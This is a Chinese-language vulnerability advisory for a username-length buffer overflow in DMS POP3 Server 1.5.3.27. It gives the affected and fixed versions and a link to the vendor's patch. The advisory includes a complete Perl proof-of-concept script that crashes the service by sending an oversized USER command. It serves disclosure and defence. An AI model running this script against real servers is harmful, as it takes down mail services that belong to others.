受影响系统:
Digital Mapping Systems DMS POP3 Server 1.5.3.27
不受影响系统:
Digital Mapping Systems DMS POP3 Server 1.5.4.27
描述:
--------------------------------------------------------------------------------
DMS POP3 Server是一款基于POP3协议的服务程序。
DMS POP3 Server对用户名长度缺少充分边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程权限执行任意指令。
在POP3验证过程中,提交包含超长用户名的数据,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
<*来源:Reed Arvin (
reedarvin@gmail.com)
链接:_blank>
http://marc.theaimsgroup.com/?l= ... 81437508585&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Reed Arvin (
reedarvin@gmail.com)提供了如下测试方法:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
# DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# _blank>
http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# _blank>
http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";
sleep(1);
print $socket "USER " . "A" x 1023;
close $socket;
sleep(1);
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
close $socket;
print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====
建议:
--------------------------------------------------------------------------------
厂商补丁:
Digital Mapping Systems
-----------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载DMS POP3 Server 1.5.4.27:
_blank>
http://www.digitalmapping.sk.ca/pop3srv/Update.asp